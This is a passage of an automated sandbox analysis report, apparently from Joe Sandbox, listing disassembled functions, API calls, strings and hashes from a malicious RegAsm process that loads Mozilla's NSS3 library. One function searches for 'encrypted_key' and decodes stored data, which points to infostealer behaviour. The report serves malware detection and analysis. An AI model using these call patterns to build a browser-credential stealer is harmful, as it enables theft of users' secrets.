free.MOZGLUE(00000000), ref: 6C21AE69
free.MOZGLUE(?), ref: 6C21AE78
PR_Unlock.NSS3 ref: 6C21AE8C
free.MOZGLUE(?), ref: 6C21AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C21AEC7

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 520919df34ff8bfa7706f1ce70a823c1b6ed78f364b5bf2a6120244c47b74d1e
Instruction ID: c3341ff4f8a6a7e6d5ce5b2fd28d8152b43bac1f570b3c23c3bfb3f35c39eb92
Opcode Fuzzy Hash: 520919df34ff8bfa7706f1ce70a823c1b6ed78f364b5bf2a6120244c47b74d1e
Instruction Fuzzy Hash: 2F5191B4A1521ACBDF01DF68D841AAEB7F8BB06349F140135EE55A3E00D331A919CBE6

Function 6C2F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C2F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C2F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C2F4D44

Strings

invalid, xrefs: 6C2F4CF1
another row available, xrefs: 6C2F4D20
API call with %s database connection pointer, xrefs: 6C2F4CF6
bad parameter or other API misuse, xrefs: 6C2F4D05
abort due to ROLLBACK, xrefs: 6C2F4D27, 6C2F4D33
out of memory, xrefs: 6C2F4C78, 6C2F4C9E
unknown error, xrefs: 6C2F4D56
no more rows available, xrefs: 6C2F4D2E

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: c430f3fc946917328d858e9c8a7eead4f3c1ab4887967452975461b3b6a49a43
Instruction ID: 043e73b20ce48713bac01ed35d018556f4057bccc5b82f60c03ac7e8bfb0ba66
Opcode Fuzzy Hash: c430f3fc946917328d858e9c8a7eead4f3c1ab4887967452975461b3b6a49a43
Instruction Fuzzy Hash: C7318B7AA84A5E67D70406249A30FE5F3657783319F551125EC384BF58CBA1AC1387F2

Function 6C252CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C252CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C252D07

Part of subcall function 6C3309D0: PR_Now.NSS3 ref: 6C330A22
Part of subcall function 6C3309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C330A35
Part of subcall function 6C3309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C330A66
Part of subcall function 6C3309D0: PR_GetCurrentThread.NSS3 ref: 6C330A70
Part of subcall function 6C3309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C330A9D
Part of subcall function 6C3309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C330AC8
Part of subcall function 6C3309D0: PR_vsmprintf.NSS3(?,?), ref: 6C330AE8
Part of subcall function 6C3309D0: EnterCriticalSection.KERNEL32(?), ref: 6C330B19
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C330B48
Part of subcall function 6C3309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C330C76
Part of subcall function 6C3309D0: PR_LogFlush.NSS3 ref: 6C330C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C252D22

Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(?), ref: 6C330B88
Part of subcall function 6C3309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C330C5D
Part of subcall function 6C3309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C330C8D
Part of subcall function 6C3309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C330C9C
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(?), ref: 6C330CD1
Part of subcall function 6C3309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C330CEC
Part of subcall function 6C3309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C330CFB
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C330D16
Part of subcall function 6C3309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C330D26
Part of subcall function 6C3309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C330D35
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C330D65
Part of subcall function 6C3309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C330D70
Part of subcall function 6C3309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C330D90
Part of subcall function 6C3309D0: free.MOZGLUE(00000000), ref: 6C330D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C252D3B

Part of subcall function 6C3309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C330BAB
Part of subcall function 6C3309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C330BBA
Part of subcall function 6C3309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C330D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C252D54

Part of subcall function 6C3309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C330BCB
Part of subcall function 6C3309D0: EnterCriticalSection.KERNEL32(?), ref: 6C330BDE
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(?), ref: 6C330C16

Strings

ulPinLen = %d, xrefs: 6C252D36
pPin = 0x%p, xrefs: 6C252D1D
C_InitToken, xrefs: 6C252CE7
n3l, xrefs: 6C252D6C, 6C252D9A
pLabel = 0x%p, xrefs: 6C252D4F
slotID = 0x%x, xrefs: 6C252D02

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$n3l
API String ID: 420000887-2470255173
Opcode ID: 846c445b623a723121ff413e5a82aa173c9ab75580bdc8465a37a8a6b4d78719
Instruction ID: 201a4a5a96542a1891de59e2053c5dbcecddeec7a173b17c7036d687be7eac23
Opcode Fuzzy Hash: 846c445b623a723121ff413e5a82aa173c9ab75580bdc8465a37a8a6b4d78719
Instruction Fuzzy Hash: DE2177BA203148AFDB009B54DD8CE4A7BB9EB4331DF858054FD0897662DB359868CF91

Function 0041580D Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415845
_memset.LIBCMT ref: 00415856

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0041595C,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 0041596A
GlobalFree.KERNEL32(?), ref: 00415A8C

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 00415A18
StrCmpCA.SHLWAPI(?,00436645), ref: 00415A35
lstrcatA.KERNEL32(?,?), ref: 00415A54
lstrcatA.KERNEL32(?,00436A8C), ref: 00415A65

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: 335cae6fd84b161df0984b00945f78d1a2dbd4c9e607e0e721f01f6bbc35d457
Instruction ID: 4905153569d8748fa83d0ede9c9d82dcbc9816826170d9825a589ea8a61000d7
Opcode Fuzzy Hash: 335cae6fd84b161df0984b00945f78d1a2dbd4c9e607e0e721f01f6bbc35d457
Instruction Fuzzy Hash: F8713DB1D4022D9FDF20DF61DC45BCA77BAAF88314F0405E6E908A3250EA369FA58F55

Function 6C2F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C2F2D9F

Part of subcall function 6C1ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C20F9C9,?,6C20F4DA,6C20F9C9,?,?,6C1D369A), ref: 6C1ACA7A
Part of subcall function 6C1ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C1ACB26

sqlite3_exec.NSS3(?,?,6C2F2F70,?,?), ref: 6C2F2DF9
sqlite3_free.NSS3(00000000), ref: 6C2F2E2C
sqlite3_free.NSS3(?), ref: 6C2F2E3A
sqlite3_free.NSS3(?), ref: 6C2F2E52
sqlite3_mprintf.NSS3(6C35AAF9,?), ref: 6C2F2E62
sqlite3_free.NSS3(?), ref: 6C2F2E70
sqlite3_free.NSS3(?), ref: 6C2F2E89
sqlite3_free.NSS3(?), ref: 6C2F2EBB
sqlite3_free.NSS3(?), ref: 6C2F2ECB
sqlite3_free.NSS3(00000000), ref: 6C2F2F3E
sqlite3_free.NSS3(?), ref: 6C2F2F4C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 50ca0d21eee063d03c450b385b13ce2523210ba176e9411f7bb1a4ee61fed11a
Instruction ID: 7f5b83e3a7afae7d3b108ac0ba9a839e0ac4c45d236963c1ade280809a100917
Opcode Fuzzy Hash: 50ca0d21eee063d03c450b385b13ce2523210ba176e9411f7bb1a4ee61fed11a
Instruction Fuzzy Hash: 4C6160F9E4124E9BEB00CFA4D894B9EB7B1AF49349F154024EC25A7701E735E846CBA1

Function 6C1A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4D97
PR_Lock.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4DBA
PR_WaitCondVar.NSS3 ref: 6C1A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4DEF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 873d622610738d86bc039caa2c64f3467541081d89196a3dcb4ffcb2bf0c41db
Instruction ID: 74677a8a42231ae6af6ce75ced3180891a195435dc62bb7a185ddf49beb217ed
Opcode Fuzzy Hash: 873d622610738d86bc039caa2c64f3467541081d89196a3dcb4ffcb2bf0c41db
Instruction Fuzzy Hash: 4D419FB9A05615CFCB00EFB8D484559BBF8BF0A314F064669DC98DBB14EB30D886CB91

Function 00428B14 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428B2D

Part of subcall function 00424074: Sleep.KERNEL32(00000000,?), ref: 0042409C

__calloc_crt.LIBCMT ref: 00428B51
_free.LIBCMT ref: 00428B5F
__calloc_crt.LIBCMT ref: 00428B6D
_free.LIBCMT ref: 00428B7D
_free.LIBCMT ref: 00428B83
__copytlocinfo_nolock.LIBCMT ref: 00428B92
__setlocale_nolock.LIBCMT ref: 00428B9F
_free.LIBCMT ref: 00428BB8
__setmbcp_nolock.LIBCMT ref: 00428BCA
_free.LIBCMT ref: 00428BD8
_free.LIBCMT ref: 00428BEC

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 682c6ff0facc8d8a86d528fa85871ae3cb6abaa4633ee56d462f9da954832b5c
Instruction ID: 316f7d86b509052675ed64499f597221969422cd52b172cd7ffbd25416df4cfd
Opcode Fuzzy Hash: 682c6ff0facc8d8a86d528fa85871ae3cb6abaa4633ee56d462f9da954832b5c
Instruction Fuzzy Hash: 392126B1705621BADB217F26F802D4FBBE0DF91758BA0842FF48446261DF39A840C65D

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6C248F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C248FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C248FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C248FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C249013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C249042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C24905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C249073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C2490EC

Part of subcall function 6C210F00: PR_GetPageSize.NSS3(6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F1B
Part of subcall function 6C210F00: PR_NewLogModule.NSS3(clock,6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C23DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C249111

Strings

n3l, xrefs: 6C2490A3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: n3l
API String ID: 2831689957-289465419
Opcode ID: c94faa188f7c2c69016d0c6fda5da7864d2f0a3fa9604e5e8f84079c647c2803
Instruction ID: a97eafc9140d967aea10ed8926684a3c4ea8447d6de84860e783b6626e066660
Opcode Fuzzy Hash: c94faa188f7c2c69016d0c6fda5da7864d2f0a3fa9604e5e8f84079c647c2803
Instruction Fuzzy Hash: 7F51AB74A05619CFCB04EF38C5C8699BBF8BF0A314F059569EC489BB05EB31E884CB91

Function 6C244E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C244E90
EnterCriticalSection.KERNEL32 ref: 6C244EA9
TlsGetValue.KERNEL32 ref: 6C244EC6
EnterCriticalSection.KERNEL32 ref: 6C244EDF
PL_HashTableLookup.NSS3 ref: 6C244EF8
PR_Unlock.NSS3 ref: 6C244F05
PR_Now.NSS3 ref: 6C244F13
PR_Unlock.NSS3 ref: 6C244F3A

Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107AD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107CD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107D6
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1A204A), ref: 6C2107E4
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,6C1A204A), ref: 6C210864
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C210880
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,6C1A204A), ref: 6C2108CB
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108D7
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108FB

Strings

bU$l, xrefs: 6C244E5C
bU$l, xrefs: 6C244F3F

Memory Dump Source

